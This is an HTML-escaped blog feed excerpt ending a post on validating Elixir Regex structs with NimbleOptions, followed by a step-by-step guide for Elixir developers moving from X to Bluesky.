&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;IO&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;inspect&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;r/foo/&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;r/foo/
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, I also learned that &lt;a href=&quot;https://elixirforum.com/t/is-there-an-elixir-function-that-prints-out-the-type-of-a-value-and-display-its-fields/4478/3?u=pjullrich&quot;&gt;you can print out all information about a data type&lt;/a&gt; using the &lt;code&gt;i/1&lt;/code&gt; helper function. This revealed that the shorthand notation &lt;code&gt;~r/foo/&lt;/code&gt; is simply a &lt;code&gt;Regex&lt;/code&gt;-struct!&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;r/foo/
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Term&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;r/foo/
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Data&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Regex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Description&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;This&lt;/span&gt; is &lt;span style=&quot;color: #d2a8ff;&quot;&gt;a&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;struct&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;representing&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;a&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;regular&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;expression&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;It&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;is&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;commonly&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;represented&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;using&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;the&lt;/span&gt; `~r` &lt;span style=&quot;color: #d2a8ff;&quot;&gt;sigil&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;syntax&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;that&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;is&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;defined&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;the&lt;/span&gt; `K&lt;span style=&quot;color: #e6edf3;&quot;&gt;ernel&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;sigil_r&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;` macro&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Raw&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;representation&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Regex&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;re_pattern: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;source: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;opts: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;re_version: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;8.44 2020-02-12&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:little&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Reference&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;modules&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Regex&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:re&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Implemented&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;protocols&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;IEx.Info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; Inspect
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This meant that I could allow a regex in my NimbleOptions field with the type definition: &lt;code&gt;&amp;lbrace;:struct, Regex&amp;rbrace;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This was my final type definition:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;definition&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;NimbleOptions&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;new!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;routes_to_ignore: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;default: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:list&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:or&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:struct&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Regex&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, I was able to validate that the new configuration field only receives strings and regexes as input values:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;NimbleOptions&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;routes_to_ignore: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/wp-admin.php&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;r/django/&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;definition&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;routes_to_ignore: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/wp-admin.php&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;r/django/&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my firewall for Phoenix &lt;a href=&quot;https://ezsuite.dev&quot;&gt;Phx2Ban&lt;/a&gt; or my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or video courses (&lt;a href=&quot;https://indiecourses.com/catalog/build-an-mvp-with-elixir-6i4V9yOqLL54GuG0HkV9HR&quot;&gt;one&lt;/a&gt; and &lt;a href=&quot;https://indiecourses.com/catalog/building-forms-with-phoenix-liveview-2OPYIqaekkZwrpgLUZOyZV&quot;&gt;two&lt;/a&gt;). Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;Bluesky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/parse-regex-with-nimble-options"/>
    <id>https://peterullrich.com/parse-regex-with-nimble-options</id>
    <title>Parse a Regex with NimbleOptions</title>
    <updated>2024-12-02T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;It feels like the eXodus of the Elixir community from X to Bluesky is in full swing. Even if you don&apos;t want to abandon X yet, setting up camp on Bluesky is a smart choice. I wrote this guide to make the switch easier for you. Here&apos;s how to join the Elixir community on Bluesky and some key terms you should know about.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#1-how-to-sign-up&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;1-how-to-sign-up&quot;&gt;&lt;/a&gt;1. How to sign up&lt;/h2&gt;
&lt;p&gt;Just go to &lt;a href=&quot;https://bsky.app&quot;&gt;bsky.app&lt;/a&gt; and create an account. Don&apos;t worry if your preferred username isn&apos;t available. We&apos;ll replace it with your private domain in the next step.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#2-use-your-domain-as-handle&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;2-use-your-domain-as-handle&quot;&gt;&lt;/a&gt;2. Use your domain as handle&lt;/h2&gt;
&lt;p&gt;When you sign up, you will get a username like &lt;code&gt;@pjullrich.bsky.social&lt;/code&gt;, but the cool kids use their own domain as handle, for example &lt;code&gt;@peterullrich.com&lt;/code&gt;. This looks cool and verifies your account at the same time.&lt;/p&gt;
&lt;p&gt;You can start the setup from the menu &lt;code&gt;Settings &gt; Change my handle&lt;/code&gt;. Click &lt;code&gt;I have my own domain&lt;/code&gt;, enter your domain and add the given DNS record to your DNS provider. Then wait a few minutes and click &lt;code&gt;Verify DNS Record&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And that&apos;s it! If you get lost, the &lt;a href=&quot;https://bsky.social/about/blog/4-28-2023-domain-handle-tutorial&quot;&gt;Bluesky official guide&lt;/a&gt; provides screenshots of each step.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#3-set-up-your-profile&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;3-set-up-your-profile&quot;&gt;&lt;/a&gt;3. Set up your profile&lt;/h2&gt;
&lt;p&gt;Seriously, please add a profile picture, name, and description to your account right away. Half of the new accounts who follow me have no name, description, profile pic, or banner. That makes it really hard for me to know who you are and to follow back since I&apos;m terrible with names!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#4-use-elixirlang&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;4-use-elixirlang&quot;&gt;&lt;/a&gt;4. Use #ElixirLang&lt;/h2&gt;
&lt;p&gt;We&apos;ve retired the hashtag &lt;code&gt;#MyElixirStatus&lt;/code&gt; for &lt;code&gt;#ElixirLang&lt;/code&gt; during the big migration, so please use it deliberately. DON&apos;T use &lt;code&gt;#Elixir&lt;/code&gt; unless you want your content to compete with potion makers and D&amp;D players. It&apos;s &lt;code&gt;#ElixirLang&lt;/code&gt; from now on.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#5-find-folks-via-starter-packs&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;5-find-folks-via-starter-packs&quot;&gt;&lt;/a&gt;5. Find folks via Starter Packs&lt;/h2&gt;
&lt;p&gt;Starter Packs are a Bluesky invention that is so obvious and yet so genius. They are user-curated lists of users and feeds related to a specific topic and you can follow all mentioned users with a single click. Starter Packs make it easy to find and follow the most important people who talk about a certain topic or are generally interesting.&lt;/p&gt;
&lt;p&gt;I created a Starter Pack for Elixir-ists and other BEAM people, and so did &lt;a href=&quot;https://bsky.app/profile/solnic.dev&quot;&gt;Peter Solnica&lt;/a&gt; and &lt;a href=&quot;https://bsky.app/profile/winchester.dev&quot;&gt;Ryan Winchester&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://go.bsky.app/EuRHN7o&quot;&gt;My Starter Pack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://go.bsky.app/HL9mNDS&quot;&gt;Peter&apos;s Starter Pack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://go.bsky.app/2dPJ7NM&quot;&gt;Ryan&apos;s Starter Pack&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can find more Starter Packs in the unofficial and not complete &lt;a href=&quot;https://blueskydirectory.com/starter-packs/all&quot;&gt;Bluesky Directory&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A small tip: Check the Starter Packs regularly because we add new Elixir folks regularly as they join Bluesky.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#6-find-your-x-connections-on-bluesky&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;6-find-your-x-connections-on-bluesky&quot;&gt;&lt;/a&gt;6. Find your X connections on Bluesky&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.sky-follower-bridge.dev/get-started.html#installation&quot;&gt;Sky Follower Bridge&lt;/a&gt; browser extension helps you quickly find the Bluesky accounts for people you follow on X. You won&apos;t find all of them, but this will give you a good starting point for migrating your network from X to Bluesky.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#7-add-more-feeds&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;7-add-more-feeds&quot;&gt;&lt;/a&gt;7. Add more Feeds&lt;/h2&gt;
&lt;p&gt;When you sign up for Bluesky, you only have the &lt;code&gt;Discover&lt;/code&gt; feed, but just like on X, you can add more feeds to your Home view. For example, you can follow &lt;a href=&quot;https://bsky.app/profile/bsky.app/feed/bsky-team&quot;&gt;the Bluesky team&lt;/a&gt;, &lt;a href=&quot;https://bsky.app/profile/nezteb.net/feed/aaaemobjvwlsq&quot;&gt;posts mentioning &lt;code&gt;#ElixirLang&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://bsky.app/profile/peterullrich.com/lists/3l5tdeo555y2m&quot;&gt;my list of Elixir People&lt;/a&gt;, &lt;a href=&quot;https://bsky.app/profile/jaz.bsky.social/feed/my-pins&quot;&gt;a feed that shows posts you pinned&lt;/a&gt;, and more.&lt;/p&gt;
&lt;p&gt;The fastest way to find and add feeds is to navigate to &lt;a href=&quot;https://bsky.app/feeds&quot;&gt;bsky.app/feeds&lt;/a&gt; or to click on the hashtag symbol at the top right of your Home view. You can browse and add feeds under the &lt;code&gt;Discover New Feeds&lt;/code&gt; section.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#8-follow-a-labeler&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;8-follow-a-labeler&quot;&gt;&lt;/a&gt;8. Follow a Labeler&lt;/h2&gt;
&lt;p&gt;The Bluesky network is policed by two groups of moderators: The official Trust &amp; Safety team and independent &lt;a href=&quot;https://docs.bsky.app/docs/advanced-guides/moderation&quot;&gt;moderation services&lt;/a&gt;. Moderation services are also called &lt;code&gt;Labelers&lt;/code&gt; because they add labels to posts and accounts that show certain behaviours. Bluesky users can subscribe to these labelers and allow them to warn or block certain content automatically.&lt;/p&gt;
&lt;p&gt;The most popular labeler is probably &lt;a href=&quot;https://bsky.app/profile/skywatch.blue&quot;&gt;Skywatch&lt;/a&gt;. If you don&apos;t want to moderate your timeline manually, I suggest you subscribe to Skywatch and select under each label whether they should warn about or block posts for certain topics.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#9-import-your-old-tweets&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;9-import-your-old-tweets&quot;&gt;&lt;/a&gt;9. Import your old Tweets&lt;/h2&gt;
&lt;p&gt;If you don&apos;t want to lose your previous .. ahem ... art, you can import your old tweets either through the paid &lt;a href=&quot;https://blueark.app/en-us/&quot;&gt;BlueArk&lt;/a&gt; service or the free &lt;a href=&quot;https://github.com/marcomaroni-github/twitter-to-bluesky&quot;&gt;Twitter-to-Bluesky script&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#10-delete-your-old-tweets&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;10-delete-your-old-tweets&quot;&gt;&lt;/a&gt;10. Delete your old Tweets&lt;/h2&gt;
&lt;p&gt;Once you&apos;re ready to take the plunge and expunge your X account, you can delete all your old tweets using either the paid &lt;a href=&quot;https://tweetdelete.net/&quot;&gt;TweetDelete&lt;/a&gt; or the free &lt;a href=&quot;https://github.com/lucahammer/tweetXer&quot;&gt;tweetXer script&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#11-show-your-x-youve-moved-on&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;11-show-your-x-youve-moved-on&quot;&gt;&lt;/a&gt;11. Show your X you&apos;ve moved on&lt;/h2&gt;
&lt;p&gt;You can change your X banner to one of these to show folks where to find you from now on:&lt;/p&gt;
&lt;img src=&quot;/assets/images/posts/bluesky-migration/banner.webp&quot; alt=&quot;drawing&quot; style=&quot;width:300px;&quot;/&gt;
&lt;img src=&quot;/assets/images/posts/bluesky-migration/banner-dark.webp&quot; alt=&quot;drawing&quot; style=&quot;width:300px;&quot;/&gt;
&lt;p&gt;&lt;em&gt;courtesy of &lt;a href=&quot;https://www.bluesky-migrate.com/&quot;&gt;bluesky-migrate.com&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#12-watch-bluesky-grow&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;12-watch-bluesky-grow&quot;&gt;&lt;/a&gt;12. Watch Bluesky grow&lt;/h2&gt;
&lt;p&gt;I enjoy checking the number of total Bluesky users tremendously. Since the US elections, many people have left X for Bluesky, and currently, 1 MILLION new users join per DAY!&lt;/p&gt;
&lt;p&gt;You can watch the Bluesky user count grow in almost real-time on these websites:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://bsky.jazco.dev/stats&quot;&gt;bsky.jazco.dev/stats&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bcounter.nat.vg/&quot;&gt;bcounter.nat.vg&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#13-get-back-tweetdeck-and-more-tools&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;13-get-back-tweetdeck-and-more-tools&quot;&gt;&lt;/a&gt;13. Get back TweetDeck (and more tools!)&lt;/h2&gt;
&lt;p&gt;If you are looking for a TweetDeck alternative for Bluesky, look no further than the freemium &lt;a href=&quot;https://deck.blue/&quot;&gt;deck.blue&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bsky.app/profile/justinjackson.ca&quot;&gt;Justin Jackson&lt;/a&gt; wrote up &lt;a href=&quot;https://justinjackson.ca/best-bluesky-apps&quot;&gt;a nice overview&lt;/a&gt; of current Bluesky projects. It&apos;s worth checking this list regularly because Justin updates it whenever he finds a new project.&lt;/p&gt;
